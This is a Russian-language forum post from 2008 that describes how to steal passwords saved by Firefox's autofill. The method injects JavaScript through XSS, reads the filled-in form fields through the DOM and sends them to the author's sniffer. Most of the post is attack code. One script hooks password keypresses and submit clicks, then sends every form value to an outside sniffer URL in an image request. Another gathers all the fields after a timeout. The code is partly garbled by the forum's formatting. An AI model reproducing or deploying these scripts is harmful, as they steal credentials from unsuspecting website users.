Firefox Passwords Stealing

Discussion in 'Уязвимости' started by Евгений Минаев, 23 Apr 2008.

  1. Евгений Минаев

    Евгений Минаев Elder - Старейшина

    Joined:
    12 Nov 2007
    Messages:
    55
    Likes Received:
    169
    Reputations:
    159
    Тема названа наверное слишком громко и вовсе не отображает реальную суть того, что я хотел до вас довести. Почти год назад тоха поделился информацией о краже данных из форм в фаерфоксе через авто заполнение, я написал пример, реализующий это а потом мы с пинкпантером еще и обменялись скриптами xD

    Суть в том, что при включенном автозаполнении фаерфокс с помощью обращений к элементам через DOM можно воровать выведенную информацию. Через xss вставляем код что написан ниже, который через 6 секунд -- таймаут пока фф вставит информацию в поля -- соберет все введенные данные в форму и отправит нам на снифер.На английском подробно и неплохо написано тут http://www.heise-online.co.uk/security/Password-stealing-for-dummies--/features/93141

    PHP:
    setTimeout("sniffdata = '';for (i=0;i<document.forms.length;i++){document.forms[i].submit();sniffdata +=  '&action='+document.forms[i].action;sniffdata +=  '&method='+document.forms[i].method;for (b=0;b<document.forms[i].elements.length;b++){sniffdata +=  '&'+document.forms[i].elements.name+'='+document.forms[i].elements.value;}}document.write(sniffdata);",1000);
    Очень плодотворным вышло наше обсуждение, во время обсуждения я два раза подвесил фаерфокс 2.0.0.5 намертво, после пинкпантер предложил скрипт, устанавливающий hook на input элементы формы и при отсылке их на сервер передает данные нам тоже.

    PHP:
        var snifUrl    'http://underwater.itdefence.ru/sniff/ya.gif';
            
        function 
    hookPassword(event)
        {
            
    event    = (!event)            ? window.event event;
            
    target    = (!event.target)  ? event.srcElement event.target;
            if (
    target.nodeType == 3target target.parentNode;
            
    code    = (event.charCode) ? event.charCode :
                                        ((
    event.keyCode)? event.keyCode :
                                        ((
    event.which)    ? event.which 0));
            if    ( 
    code == 13 )  sniff(); 
        }
        
        function 
    sniff()
        {
            
    sniffdata '';
            for ( 
    document.forms.length i++ )
            {
                
    sniffdata +=  'action='+document.forms[i].action;
                
    sniffdata +=  '&method='+document.forms[i].method;
                for ( 
    document.forms[i].elements.length b++ )
                {
                    
    sniffdata +=  '&'+document.forms[i].elements[b].name+'='+document.forms[i].elements[b].value;
                }
                
    sniffdata += '&';
            }
            
    image = new Image();
            
    image.src snifUrl+'?'+sniffdata;
        }
           
        
        function 
    hook()
        {
            for ( 
    document.forms.length i++ )
            {
                for ( 
    document.forms[i].elements.length b++ )
                {
                    if (
    document.forms[i].elements[b].type == 'password' )
                    
    document.forms[i].elements[b].setAttribute("onkeypress","javascript:if (event) { hookPassword(event); }");
                    else if ( 
    document.forms[i].elements[b].type == 'submit' )
                    
    document.forms[i].elements[b].setAttribute("onclick","javascript:sniff();");
                }
            }
        }
    //<script src='js.js' onload='hook();'>.

    PHP:
    <script>
    for (
    i=0;i<document.forms.length;i++)
    {    
        for (
    b=0;i<document.forms[i].elements.length;b++)
            
    document.forms[i].elements;
    }
    </script>
    P.S. Гратзы моим компаньонам +toxa+, pinkpanther и неизвестному мне Jürgen Schmidtу
    P.P.S. Во время написания поста проверка орфографии, встроенная в Firefox не раз предложила мне заменить "фаерфокс" на "перфокарта" xD
     
    #1 Евгений Минаев, 23 Apr 2008
    Last edited: 23 Apr 2008
    4 people like this.